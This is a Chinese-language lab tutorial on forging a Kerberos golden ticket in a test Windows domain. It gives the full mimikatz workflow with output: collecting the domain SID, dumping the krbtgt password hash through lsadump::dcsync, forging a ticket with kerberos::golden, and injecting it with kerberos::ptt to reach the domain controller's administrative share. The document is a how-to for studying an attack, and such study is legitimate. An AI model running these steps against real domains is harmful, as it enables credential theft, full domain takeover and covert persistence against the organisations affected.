黄金票据制作
文章目录
- 黄金票据制作
- 0x01 前言
- 0x02 黄金票据的制作
- 一、靶场搭建
- 二、收集制作信息
- 获取域名称
- 获取域SID值
- 获取域用户krbtgt密码hash值
- 二、制作票据
- 0x03 验证票据有效性
0x01 前言
最近,我学习了内网渗透的相关知识,其中包括了黄金票据的应用。黄金票据涉及的原理和攻击方法构成了一系列复杂的概念,晦涩难懂。简而言之,黄金票据在内网渗透中主要用于权限维持,即留下后门。使用黄金票据前提是你已经控制了整个域的域控制器。其核心原理与服务器中的krbtgt用户相关。
如果想深入理解黄金票据的工作原理,需要进一步研究Kerberos协议。这里我推荐阅读以下博客来扩展知识:
https://daiker.gitbook.io/windows-protocol/
0x02 黄金票据的制作
一、靶场搭建
我搭建了三台虚拟机,操作系统分别为Windows Server 2016、Windows 10和Windows 7。Windows Server 2016担任域控制器的角色,而Windows 10和Windows 7则作为域成员机。在域中,我创建了三个用户:demo1、demo2和demo3。
如果你不熟悉如何搭建域环境,可以寻找现有的训练靶场,或者通过百度查询相关的搭建教程。
二、收集制作信息
制作黄金票据需要知道域名称、域的SID值、域用户krbtgt的密码hash值、任意用户名,现在假设我们拿到了域管理员的权限,下面完成一下信息收集:
获取域名称
systeminfo 、net user /domain 或者 ipconfig /all 都可以任选其一
获取域SID值
whoami /all
或者 whoami /user
C:\Users\demo1\Desktop\mimikatz_trunk\x64>whoami /user
用户信息
----------------
用户名 SID
============ ============================================
peihua\demo1 S-1-5-21-1100783840-19582525-4266664591-500
最后面的500是权限数字,不是sid所以需要的值如下:
SID:S-1-5-21-1100783840-19582525-4266664591
获取域用户krbtgt密码hash值
这里的hash值我使用了mimiikztz这样的工具进行获取,使用管理员权限运行cmd执行它
1.先执行privilege::debug进行权限提升
2.然后执行lsadump::dcsync /user:krbtgt /csv,返回结果如下:
mimikatz # lsadump::dcsync /user:krbtgt /csv
[DC] 'peihua.local' will be the domain
[DC] 'WIN-3TBP83C14B9.peihua.local' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt 4d9ccdf4cd700017b5e6537ed6d59dc6
514
4d9ccdf4cd700017b5e6537ed6d59dc6就是我们要的hash值
二、制作票据
如果已经准备好了所需信息,下马就可以使用mimikatz的kerberos::golden模块来创建黄金票据了,该票据的格式为.kirbi。下面我们来尝试进行制作:
kerberos::golden /domain:peihua.local /sid:S-1-5-21-1100783840-19582525-4266664591 /krbtgt:4d9ccdf4cd700017b5e6537ed6d59dc6 /user:administrator
mimikatz # kerberos::golden /domain:peihua.local /sid:S-1-5-21-1100783840-19582525-4266664591 /krbtgt:4d9ccdf4cd700017b5e6537ed6d59dc6 /user:administrator
User : administrator
Domain : peihua.local (PEIHUA)
SID : S-1-5-21-1100783840-19582525-4266664591
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 4d9ccdf4cd700017b5e6537ed6d59dc6 - rc4_hmac_nt
Lifetime : 2024/3/31 16:04:20 ; 2034/3/29 16:04:20 ; 2034/3/29 16:04:20
-> Ticket : ticket.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
查看下当前目录发现票据已经制作完成了
0x03 验证票据有效性
首先我们先登录一个域的普通账户,然后尝试通过dir访问域控的共享文件夹
C:\Users\demo1\Desktop\mimikatz_trunk\x64>dir \\WIN-3TBP83C14B9.peihua.local\c$
拒绝访问。
发现我们没有足够的权限去访问,下面我们使用mimikatz将创建好的票据文件导入,然后尝试重新访问
kerberos::purge #清空已有票据
kerberos::ptt xxx.kiribi #导入票据
kerberos::list #查看票据
C:\Users\demo1\Desktop\mimikatz_trunk\x64>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # kerberos::ptt C:\Users\demo1\Desktop\mimikatz_trunk\x64\ticket.kirbi
* File: 'C:\Users\demo1\Desktop\mimikatz_trunk\x64\ticket.kirbi': OK
mimikatz # exit
Bye!
C:\Users\demo1\Desktop\mimikatz_trunk\x64>dir \\WIN-3TBP83C14B9.peihua.local\c$
驱动器 \\WIN-3TBP83C14B9.peihua.local\c$ 中的卷没有标签。
卷的序列号是 B4D7-21A5
\\WIN-3TBP83C14B9.peihua.local\c$ 的目录
2016/07/16 21:23 <DIR> PerfLogs
2016/12/14 19:06 <DIR> Program Files
2016/07/16 21:23 <DIR> Program Files (x86)
2024/03/28 21:20 <DIR> Users
2024/03/28 22:34 <DIR> Windows
0 个文件 0 字 节
5 个目录 51,617,316,864 可 用字节
C:\Users\demo1\Desktop\mimikatz_trunk\x64>
成功访问了域控的共享文件夹,票据有效